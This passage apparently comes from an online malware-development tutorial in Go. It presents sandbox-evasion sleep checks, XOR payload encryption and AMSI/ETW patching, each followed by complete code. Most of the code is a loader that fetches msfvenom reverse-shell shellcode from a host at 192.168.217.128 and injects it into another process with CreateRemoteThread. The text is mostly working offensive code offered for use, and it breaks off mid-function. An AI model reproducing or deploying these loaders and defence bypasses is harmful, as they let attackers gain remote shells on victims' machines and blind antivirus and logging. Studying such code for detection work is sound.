	if err != nil {
		log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err)
	}

	fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid)

	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")

	addr, _, lastErr := procVirtualAllocEx.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(len(sc)),
		uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
		uintptr(windows.PAGE_READWRITE))

	if addr == 0 {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
	}

	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(pHandle, addr, &sc[0], uintptr(len(sc)), &numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address")
	}
	fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(sc))

	var oldProtect uint32
	err = windows.VirtualProtectEx(pHandle, addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)

	if err != nil {
		log.Fatalf("[FATAL] VirtualProtect Failed: %v", err)
	}

	procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread")
	var threadId uint32 = 0
	tHandle, _, lastErr := procCreateRemoteThread.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(0),
		addr,
		uintptr(0),
		uintptr(0),
		uintptr(unsafe.Pointer(&threadId)),
	)
	if tHandle == 0 {
		log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr)
	}

	fmt.Printf("[+] Handle of newly created thread:  0x%x \n[+] Thread ID: %d\n", tHandle, threadId)
	//windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)
}
func wget(url string) ([]byte, error) {
	resp, err := http.Get(url)

	if err != nil {
		return []byte{}, err
	}

	defer resp.Body.Close()

	body, err := io.ReadAll(resp.Body)

	if err != nil {
		return []byte{}, err
	}
	return body, nil
}

```


# 2. time.Sleep() 2/2

\#AVEvasion #Golang #maldev #malwaredevelopment #sleep

### [time.Sleep()](https://pkg.go.dev/time#example-Sleep)

As mentioned previously some AV sandbox will speed up execution of sleep functions to identify if any malicious action occurs without timing out.&#x20;

A simple way to detect if the sleep function actually slept for 10 seconds is to get the time before and after the sleep function and calculate the difference.

An example of the exact code is provided by the [golang package](https://pkg.go.dev/time#pkg-types).

{% code lineNumbers="true" %}

```go
	fmt.Println("[+] Sleeping for 10 Seconds")
	t0 := time.Now()
	time.Sleep(10 * time.Second)
	t1 := time.Now()
	diff := t1.Sub(t0)
	fmt.Println("[+] Woke Up ... Execution Continues")

	fmt.Printf("[+] The call took %v to run.\n", diff)
	if diff.Seconds() < 10 {
		log.Fatalln("[FATAL] Execution faster than 10 seconds")
	}

```

{% endcode %}

* In line 5 we calculate the difference of the time before and after the sleep function.&#x20;
* In line 9 we check if that's less than 10 seconds we terminate execution

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FtFFHdtSKoWW1I8vIfbC8%2Fimage.png?alt=media&amp;token=d5b8744f-e24b-41ac-a188-dfab2ba2a8f8" alt=""><figcaption></figcaption></figure>

### Complete Code

```go
package main

import (
	"fmt"
	"io"
	"log"
	"net/http"
	"syscall"
	"time"
	"unsafe"

	"golang.org/x/sys/windows"
)

func main() {
	fmt.Println("[+] Sleeping for 10 Seconds")
	t0 := time.Now()
	time.Sleep(10 * time.Second)
	t1 := time.Now()
	diff := t1.Sub(t0)
	fmt.Println("[+] Woke Up ... Execution Continues")

	fmt.Printf("[+] The call took %v to run.\n", diff)
	if diff.Seconds() < 10 {
		log.Fatalln("[FATAL] Execution faster than 10 seconds")
	}

	pid := uint32(2924)
	PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF

	//msfvenom  -f raw -p windows/x64/shell_reverse_tcp LHOST=192.168.217.128 LPORT=443 -o shcode.malic
	sc, err := wget("http://192.168.217.128/shcode.malic")
	if err != nil {
		log.Fatalf("[FATAL] Unable to connect to the host %v ", err)
	}
	fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid)
	pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid)
	if err != nil {
		log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err)
	}

	fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid)

	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")

	addr, _, lastErr := procVirtualAllocEx.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(len(sc)),
		uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
		uintptr(windows.PAGE_READWRITE))

	if addr == 0 {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
	}

	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(pHandle, addr, &sc[0], uintptr(len(sc)), &numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address")
	}
	fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(sc))

	var oldProtect uint32
	err = windows.VirtualProtectEx(pHandle, addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)

	if err != nil {
		log.Fatalf("[FATAL] VirtualProtect Failed: %v", err)
	}

	procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread")
	var threadId uint32 = 0
	tHandle, _, lastErr := procCreateRemoteThread.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(0),
		addr,
		uintptr(0),
		uintptr(0),
		uintptr(unsafe.Pointer(&threadId)),
	)
	if tHandle == 0 {
		log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr)
	}

	fmt.Printf("[+] Handle of newly created thread:  0x%x \n[+] Thread ID: %d\n", tHandle, threadId)
	//windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)
}
func wget(url string) ([]byte, error) {
	resp, err := http.Get(url)

	if err != nil {
		return []byte{}, err
	}

	defer resp.Body.Close()

	body, err := io.ReadAll(resp.Body)

	if err != nil {
		return []byte{}, err
	}
	return body, nil
}

```


# 3. Custom Sleep function

\#AVEvasion #Golang #maldev #malwaredevelopment #sleep

Some times running the sleep function straight after execution begins is detected by AV engines as malicious. Creating a custom sleep function might be a better solution.&#x20;

There are endless ways of implementing a custom sleep function. A quick example is the following

{% code lineNumbers="true" %}

```go
	var t0, t1 time.Time
	fmt.Println("[+] Sleeping for 10 Seconds")
	t0 = time.Now()
	for {
		t1 = time.Now()
		diff := t1.Sub(t0)

		if diff.Seconds() > 10 {
			break
		}

	}

	fmt.Println("[+] Woke Up ... Execution Continues")
```

{% endcode %}

Similar to the previous step. The difference here is that we use an infinite loop as long as the difference of t0 and t1 is less than 10 seconds.&#x20;

The break command on line 9 allows us to exit the infinite loop.&#x20;

### Complete Code:

```go
package main

import (
	"fmt"
	"io"
	"log"
	"net/http"
	"syscall"
	"time"
	"unsafe"

	"golang.org/x/sys/windows"
)

func main() {
	var t0, t1 time.Time
	fmt.Println("[+] Sleeping for 10 Seconds")
	t0 = time.Now()
	for {
		t1 = time.Now()
		diff := t1.Sub(t0)

		if diff.Seconds() > 10 {
			break
		}

	}

	fmt.Println("[+] Woke Up ... Execution Continues")

	pid := uint32(2924)
	PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF

	//msfvenom  -f raw -p windows/x64/shell_reverse_tcp LHOST=192.168.217.128 LPORT=443 -o shcode.malic
	sc, err := wget("http://192.168.217.128/shcode.malic")
	if err != nil {
		log.Fatalf("[FATAL] Unable to connect to the host %v ", err)
	}
	fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid)
	pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid)
	if err != nil {
		log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err)
	}

	fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid)

	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")

	addr, _, lastErr := procVirtualAllocEx.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(len(sc)),
		uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
		uintptr(windows.PAGE_READWRITE))

	if addr == 0 {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
	}

	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(pHandle, addr, &sc[0], uintptr(len(sc)), &numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address")
	}
	fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(sc))

	var oldProtect uint32
	err = windows.VirtualProtectEx(pHandle, addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)

	if err != nil {
		log.Fatalf("[FATAL] VirtualProtect Failed: %v", err)
	}

	procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread")
	var threadId uint32 = 0
	tHandle, _, lastErr := procCreateRemoteThread.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(0),
		addr,
		uintptr(0),
		uintptr(0),
		uintptr(unsafe.Pointer(&threadId)),
	)
	if tHandle == 0 {
		log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr)
	}

	fmt.Printf("[+] Handle of newly created thread:  0x%x \n[+] Thread ID: %d\n", tHandle, threadId)
	//windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)
}
func wget(url string) ([]byte, error) {
	resp, err := http.Get(url)

	if err != nil {
		return []byte{}, err
	}

	defer resp.Body.Close()

	body, err := io.ReadAll(resp.Body)

	if err != nil {
		return []byte{}, err
	}
	return body, nil
}

```


# 4. XOR Encryption

\#AVEvasion #Golang #maldev #malwaredevelopment

Another technique frequently used is to download an encrypted payload and decrypt it at runtime. There are various of ways of encrypting a payload. Some examples below:

* [AES](https://pkg.go.dev/crypto/aes)
* [RSA ](https://pkg.go.dev/crypto/rsa)
* [SystemFunction032](https://doxygen.reactos.org/df/d13/sysfunc_8c.html#a66d55017b8625d505bd6c5707bdb9725)

Although these are probably better at encrypting our payload I found XOR encryption to be sufficient most times. Let's write a quick encryption code that takes our shellcode file as an argument and writes a copy of the encrypted file.

### Encryption

{% code title="main.go" lineNumbers="true" %}

```go
package main

import (
	"fmt"
	"log"
	"os"
)

func main() {
	key := byte(0x9A)

	if len(os.Args) < 2 {
		fmt.Println("Usage: encrypt <path>")
		os.Exit(1)
	}

	// Get the path from the command line argument
	path := os.Args[1]

	_, err := os.Stat(path)
	if err != nil {
		log.Fatalf("[FATAL] File %s doesn't exist", path)
	}
	fmt.Println("[+] Reading bytes of shellcode")
	// Read the entire file into a byte slice
	fileData, err := os.ReadFile(path)
	if err != nil {
		log.Fatalf("[FATAL] Error reading file:", err)
	}

	// Encrypt data and add to encryptedData 
	encryptedData := make([]byte, len(fileData))
	fmt.Println("[+] Encrypting bytes of shellcode")

	for i := 0; i < len(encryptedData); i++ {
		encryptedData[i] = fileData[i] ^ key
	}
	fmt.Printf("[+] Writing encoded bytes at %s", path+"_ENC")

	// Write encryptedData to file
	os.WriteFile(path+"_ENC", encryptedData, 0644)
}

```

{% endcode %}

* Lines 10 - 23: Check if the argument was passed to our program and if the file actually exists. If not the program terminates.
* Lines 24-30: Reads the contents of the file in the 'fileData' byte slice
* Lines 31-36: Creates a new byte slice called encryptedData, then loops through the contents of fileData and XORs them with the key provided on line 10 and adds the data in encryptedData.
* Lines 37-39: Writes the contents of the encrytedData and outputs the file at the same directory with "\_ENC" appended at the end of the filename

### Decrypt&#x20;

The same code can be reused in our shellcode injection code to decrypt the payload.

```go
	//Decrypt
	fmt.Println("[+] Decrypting Encrypted Data")
	key := byte(0x9A)
	sc := make([]byte, len(encryptedData))
	for i := 0; i < len(encryptedData); i++ {
		sc[i] = encryptedData[i] ^ key
	}
```

### Complete Code

```go
package main

import (
	"fmt"
	"io"
	"log"
	"net/http"
	"syscall"
	"time"
	"unsafe"

	"golang.org/x/sys/windows"
)

func main() {
	// Sleep for 10 seconds
	var t0, t1 time.Time
	fmt.Println("[+] Sleeping for 10 Seconds")
	t0 = time.Now()
	for {
		t1 = time.Now()
		diff := t1.Sub(t0)

		if diff.Seconds() > 10 {
			break
		}

	}

	fmt.Println("[+] Woke Up ... Execution Continues")

	pid := uint32(22040)
	PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF

	//msfvenom  -f raw -p windows/x64/shell_reverse_tcp LHOST=192.168.217.128 LPORT=443 -o shcode.malic
	//encrypted payload using our go encrypter

	fmt.Println("[+] Downloading Encrypted Data")
	encryptedData, err := wget("http://192.168.217.128/shcode.malic_ENC")
	if err != nil {
		log.Fatalf("[FATAL] Unable to connect to the host %v ", err)
	}

	//Decrypt
	fmt.Println("[+] Decrypting Encrypted Data")
	key := byte(0x9A)
	sc := make([]byte, len(encryptedData))
	for i := 0; i < len(encryptedData); i++ {
		sc[i] = encryptedData[i] ^ key
	}

	fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid)
	pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid)
	if err != nil {
		log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err)
	}

	fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid)

	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")

	addr, _, lastErr := procVirtualAllocEx.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(len(sc)),
		uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
		uintptr(windows.PAGE_READWRITE))

	if addr == 0 {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
	}

	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(pHandle, addr, &sc[0], uintptr(len(sc)), &numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address")
	}
	fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(sc))

	var oldProtect uint32
	err = windows.VirtualProtectEx(pHandle, addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READ, &oldProtect)

	if err != nil {
		log.Fatalf("[FATAL] VirtualProtect Failed: %v", err)
	}

	procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread")
	var threadId uint32 = 0
	tHandle, _, lastErr := procCreateRemoteThread.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(0),
		addr,
		uintptr(0),
		uintptr(0),
		uintptr(unsafe.Pointer(&threadId)),
	)
	if tHandle == 0 {
		log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr)
	}

	fmt.Printf("[+] Handle of newly created thread:  0x%x \n[+] Thread ID: %d\n", tHandle, threadId)
	//windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)
}
func wget(url string) ([]byte, error) {
	resp, err := http.Get(url)

	if err != nil {
		return []byte{}, err
	}

	defer resp.Body.Close()

	body, err := io.ReadAll(resp.Body)

	if err != nil {
		return []byte{}, err
	}
	return body, nil
}

```


# 5. AMSI Bypass

\#amsi #amsibypass #golang #maldev #malwaredevelopment

[The Windows Antimalware Scan Interface (AMSI)](https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that's present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads.

### [Windows components that integrate with AMSI](https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal#windows-components-that-integrate-with-amsi)

The AMSI feature is integrated into these components of Windows 10.

* User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
* PowerShell (scripts, interactive use, and dynamic code evaluation)
* Windows Script Host (wscript.exe and cscript.exe)
* JavaScript and VBScript
* Office VBA macros

### Example

So how does the above actually look like in real life? PowerShell will let us know when something is flagged as malicious by amsi. So let's send the string "AmsiScanBuffer" that is known to be flagged as malicious.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FfKbZakqrtHOP52cUiSMs%2Fimage.png?alt=media&amp;token=279c9f7c-e77e-4e01-9c5d-ac610daa511a" alt=""><figcaption><p>"AmsiScanBuffer" contains malicious content</p></figcaption></figure>

We then run our bypass code to see what's the effect.

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FCFmHtXX8qUhEeLnJ7Nkj%2Fimage.png?alt=media&amp;token=af7d38b4-a1b8-4e69-94fd-7ae202a4177f" alt=""><figcaption><p>Successfully bypassed</p></figcaption></figure>

After running the amsi bypass code, we send the "AmsiScanBuffer" string again but the second time instead of getting the same message that our script is malicious we get "CommandNotFoundException". We successfully bypassed AMSI.&#x20;

### Area of focus

Microsoft is kind enough to document some of the exposed APIs in "amsi.dll". The [AmsiResultIsMalware ](https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiresultismalware)page mentions that the AMSI\_RESULT is returned by AmsiScanBuffer or AmsiScanString. We therefore turn our focus to these two functions.&#x20;

Dumping amsi.dll in IDA shows that AmsiScanString is a wrapper function for AmsiScanBuffer. So to completely bypass amsi all we need to do is to patch AmsiScanBuffer.

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FRl6umzfzoE8OCHk41eE2%2Fimage.png?alt=media&amp;token=c34f6d4b-a23f-4fa5-8df3-4d0ec0239a70" alt=""><figcaption><p>AmsiScanString is a wrapper function for AmsiScanBuffer</p></figcaption></figure>

### [AmsiScanBuffer](https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer)

Let's Have a quick look at the function definition by microsoft

```c
HRESULT AmsiScanBuffer(
  [in]           HAMSICONTEXT amsiContext,
  [in]           PVOID        buffer,
  [in]           ULONG        length,
  [in]           LPCWSTR      contentName,
  [in, optional] HAMSISESSION amsiSession,
  [out]          AMSI_RESULT  *result
);
```

What we care about is the last argument where the [AMSI\_RESULT](https://learn.microsoft.com/en-us/windows/win32/api/amsi/ne-amsi-amsi_result) is stored. In the remarks section it is stated "*Any return result equal to or larger than 32768 is considered malware, and the content should be blocked. An app should use* [*AmsiResultIsMalware*](https://learn.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiresultismalware) *to determine if this is the case.*"

This leaves us with two options, either manipulate AmsiScanBuffer to return a value less than 32768 or manipulate AmsiResultIsMalware to return that our script is not malicious even if the value is higher than 32768.&#x20;

Having a quick look in the Exported functions of the dll we can see that AmsiResultIsMalware is not exported.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FeYd6FyV6IBQRzGIp5igR%2Fimage.png?alt=media&amp;token=946fdf67-17c3-4b0a-9738-5ea8cd3d30a2" alt=""><figcaption><p>Exported functions of amsi.dll</p></figcaption></figure>

It is then very difficult to find the exact address of this function. We could calculate the offset from the base address of the dll and then hardcode it in our code, but it would most likely work only against our current version of windows only. Any future changes to the dll will break our bypass code.&#x20;

#### How do we get AmsiScanBuffer to return a value lower than 32768?

Let's open windbg to check how we could potentially patch the dll to return a non malicious AMSI\_RESULT.

Firstly we set a breakpoint to the entrypoint of the AmsiScanBuffer function using this command: `bp amsi!AmsiScanBuffer`

&#x20;We need to find where the result is stored. We can get that from the stack as shown below:

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2F2ybd1yvxAja35UirL6E4%2Fimage.png?alt=media&amp;token=0ec99fe6-3c19-4d3f-a184-6c9ee18bfe67" alt=""><figcaption><p>The address of the result will be stored rbp from the stack</p></figcaption></figure>

Let's run `ipconfig` in powershell and check what is the value of AMSI\_RESULT at the function entry and when it returns.&#x20;

<figure><img src="https://1525675160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1BtmYYGIbNqDCOEq0YOj%2Fuploads%2FIV04M1GUJanHLRryGx94%2Fimage.png?alt=media&amp;token=f6148c3d-a99a-4cc4-bea0-468a83620d12" alt=""><figcaption><p>Breakpoint hit</p></figcaption></figure>

```
0:006> dq 00000001017cea28 L1
00000001`017cea28  00000000`00000000
0:006> pt
amsi!AmsiScanBuffer+0xf5:
00007ff9`7f068355 c3              ret
0:006> dq 00000001017cea28 L1
00000001`017cea28  00000000`00000001
```

00000001017cea28  is where the result will be stored. When we enter the the AmsiScanBuffer function the value is 0.&#x20;

Just before the function returns the value is 1.

Let's compare the values when a malicious string is sent.

```
0:006> dq 00000001017cea28 L1
00000001`017cea28  00000000`00000000
0:006> pt
amsi!AmsiScanBuffer+0xf5:
00007ff9`7f068355 c3              ret
0:006> dq 00000001017cea28 L1
00000001`017cea28  00000000`00008000
0:006> ?00008000
Evaluate expression: 32768 = 00000000`00008000

```

We can now see that the value 32768 and therefore the value is malicious.&#x20;

It is clear now that if we return immediately after the function enters the AMSI\_RESULT will be 0. This value will be anomalous since the minimum value of AMSI\_RESULT is 1. But then again 0 is lower than 32768.&#x20;

Since AmsiResultIsMalware doesn't validate the minimum value, our patch successfully bypasses amsi.&#x20;

A slightly different approach is used by [rastamouse](https://twitter.com/_RastaMouse). I would suggest reading his article on [how to patch amsi](https://rastamouse.me/memory-patching-amsi-bypass/).

### Writing the Patch

The hex equivalent of return is `c3` . We will write the address at the entry point of the function. The approach is similar to the one of [process injection](/code-injection-techniques/shellcode-injection/1.-classic-shellcode-injection) & [shellcode runner](/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner).&#x20;

#### Patching the current process.

This is useful when C# code will be running within our golang process for example. See <https://github.com/Ne0nd0g/go-clr>.&#x20;

Since patching could be used to patch other functions such as `EtwEventWrite` a function that receives 2 arguments will be written. The first argument will be the destination address and the second a byte slice that will hold the patch.

{% code lineNumbers="true" %}

```go
// Write a patch locally
func PatchLocal(address uintptr, patch []byte) error {
	// Add write permissions
	var oldprotect uint32
	err := windows.VirtualProtect(address, uintptr(len(patch)), windows.PAGE_EXECUTE_READWRITE, &oldprotect)
	if err != nil {
		return fmt.Errorf("[Error] Failed to change memory permissions for 0x%x: %v", address, err)
	}
	modntdll := syscall.NewLazyDLL("Ntdll.dll")
	procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory")

	// Write Patch
	procrtlMoveMemory.Call(address, uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch)))
	fmt.Printf("[+] Wrote patch at destination address 0x%x\n", address)

	// Restore memory permissions
	err = windows.VirtualProtect(address, uintptr(len(patch)), oldprotect, &oldprotect)
	if err != nil {
		return fmt.Errorf("[Error] Failed to change memory permissions for 0x%x: %v", address, err)
	}
	return nil
}
```

{% endcode %}

* Line 5: Since the memory address will most likely have RX rights we should first assign write access to that memory using VirtualProtect .
* Line 13: We then go ahead and call rtlMoveMemory to write our patch to the destination address.
* Line 17: We then restore the memory permissions using VirtualProtect&#x20;

The wrapper function to patch AmsiScanBuffer in the current process:

{% code lineNumbers="true" %}

```go
func patchAmsiLocal() error {
	fmt.Println("[+] Patching AmsiScanBuffer -- Local Process")
	amsidll, _ := syscall.LoadLibrary("amsi.dll")
	procAmsiScanBuffer, _ := syscall.GetProcAddress(amsidll, "AmsiScanBuffer")

	patch := []byte{0xc3}
	err := PatchLocal(procAmsiScanBuffer, patch)
	if err != nil {
		return err
	}
	fmt.Println("[SUCCESS] Patched AmsiScanBuffer -- Local Process")
	return nil
}
```

{% endcode %}

* Lines 3-4: we get the address of the function
* Line 6: We have the return equivalent in hex 0xc3
* We call our PatchLocal function to write 0xc3 at the beginning of AmsiScanBuffer

#### Patching remote process

This is useful when a c2 spawns a powershell process and feeds it commands through the c2. The dlls are loaded in the same address in every process on windows. So figuring out the address locally essentially gives us the address we need to patch on the remote process.&#x20;

Once again we create a function that will receive 3 arguments.  First argument will be the PID of the process to patch (in our case powershell) , the destionation address and the patch byte slice.

{% code lineNumbers="true" %}

```go

// Write a patch on a remote process
func PatchRemote(pid uint32, address uintptr, patch []byte) error {

	// Get handle on remote process
	pHandle, err := windows.OpenProcess(
		windows.PROCESS_VM_WRITE|windows.PROCESS_VM_OPERATION,
		false,
		pid)
	if err != nil {
		return fmt.Errorf("[ERROR] Unable to get a handle on process %d, %v", pid, err)
	}

	// Write to process memory
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(
		pHandle,
		address,
		&patch[0],
		uintptr(len(patch)),
		&numberOfBytesWritten)

	if err != nil {
		return fmt.Errorf("[ERROR] WriteProcessMemory failed, %v", err)
	}
	fmt.Printf("[+] Wrote patch at destination address 0x%x\n", address)

	return nil
}
```

{% endcode %}

* line 6: We get a handle on the remote process
* line 16: We use WriteProcessMemorywin API to write the patch to the destination address. WriteProcessMemory takes care of the permissions so no need to use VirtualAllocEx to assign write permissions.&#x20;

The AMSI patching wrapper function is shown below:

```go
func patchAmsiRemote(pid uint32) error {
	fmt.Printf("[+] Patching AmsiScanBuffer -- Remote Process PID: %d \n", pid)
	amsidll, _ := syscall.LoadLibrary("amsi.dll")
	procAmsiScanBuffer, _ := syscall.GetProcAddress(amsidll, "AmsiScanBuffer")
	patch := []byte{0xc3}
	err := PatchRemote(pid, procAmsiScanBuffer, patch)
	if err != nil {
		return err
	}
	fmt.Printf("[SUCCESS] Patched AmsiScanBuffer -- Remote Process PID: %d \n", pid)

	return nil
}
```

### Complete Code:

The code includes functions to [patch ETW](https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/) as well.&#x20;

```go
package main

import (
	"fmt"
	"log"
	"syscall"
	"unsafe"

	"golang.org/x/sys/windows"
)

func main() {
	pid := uint32(9452)

	err := patchAmsiRemote(pid)
	if err != nil {
		log.Fatalf("%v", err)
	}

}

func patchAmsiLocal() error {
	fmt.Println("[+] Patching AmsiScanBuffer -- Local Process")
	amsidll, _ := syscall.LoadLibrary("amsi.dll")
	procAmsiScanBuffer, _ := syscall.GetProcAddress(amsidll, "AmsiScanBuffer")

	patch := []byte{0xc3}
	err := PatchLocal(procAmsiScanBuffer, patch)
	if err != nil {
		return err
	}
	fmt.Println("[SUCCESS] Patched AmsiScanBuffer -- Local Process")
	return nil
}

func patchEtwLocal() error {
	fmt.Println("[+] Patching EtwEventWrite -- Local Process")
	ntdll, _ := syscall.LoadLibrary("ntdll.dll")
	procEtwEventWrite, _ := syscall.GetProcAddress(ntdll, "EtwEventWrite")
	patch := []byte{0xC3}
	err := PatchLocal(procEtwEventWrite, patch)
	if err != nil {
		return err
	}
	fmt.Println("[SUCCESS] Patched EtwEventWrite -- Local Process")
	return nil
}

func patchAmsiRemote(pid uint32) error {
	fmt.Printf("[+] Patching AmsiScanBuffer -- Remote Process PID: %d \n", pid)
	amsidll, _ := syscall.LoadLibrary("amsi.dll")
	procAmsiScanBuffer, _ := syscall.GetProcAddress(amsidll, "AmsiScanBuffer")
	patch := []byte{0xc3}
	err := PatchRemote(pid, procAmsiScanBuffer, patch)
	if err != nil {
		return err
	}
	fmt.Printf("[SUCCESS] Patched AmsiScanBuffer -- Remote Process PID: %d \n", pid)

	return nil
}

func patchEtwRemote(pid uint32) error {
	fmt.Printf("[+] Patching EtwEventWrite -- Remote Process PID: %d \n", pid)
	ntdll, _ := syscall.LoadLibrary("ntdll.dll")
	procEtwEventWrite, _ := syscall.GetProcAddress(ntdll, "EtwEventWrite")
	patch := []byte{0xC3}
	err := PatchRemote(pid, procEtwEventWrite, patch)
	if err != nil {
		return err
	}
	fmt.Printf("[SUCCESS] Patched EtwEventWrite -- Remote Process PID: %d \n", pid)
	return nil
}

// Write a patch locally
func PatchLocal(address uintptr, patch []byte) error {
	// Add write permissions
	var oldprotect uint32
	err := windows.VirtualProtect(address, uintptr(len(patch)), windows.PAGE_EXECUTE_READWRITE, &oldprotect)
	if err != nil {
		return fmt.Errorf("[Error] Failed to change memory permissions for 0x%x: %v", address, err)
	}
	modntdll := syscall.NewLazyDLL("Ntdll.dll")
	procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory")

	// Write Patch
	procrtlMoveMemory.Call(address, uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch)))
	fmt.Printf("[+] Wrote patch at destination address 0x%x\n", address)

	// Restore memory permissions
	err = windows.VirtualProtect(address, uintptr(len(patch)), oldprotect, &oldprotect)
	if err != nil {
		return fmt.Errorf("[Error] Failed to change memory permissions for 0x%x: %v", address, err)
	}
	return nil
}

// Write a patch on a remote process
func PatchRemote(pid uint32, address uintptr, patch []byte) error {

	// Get handle on remote process
	pHandle, err := windows.OpenProcess(
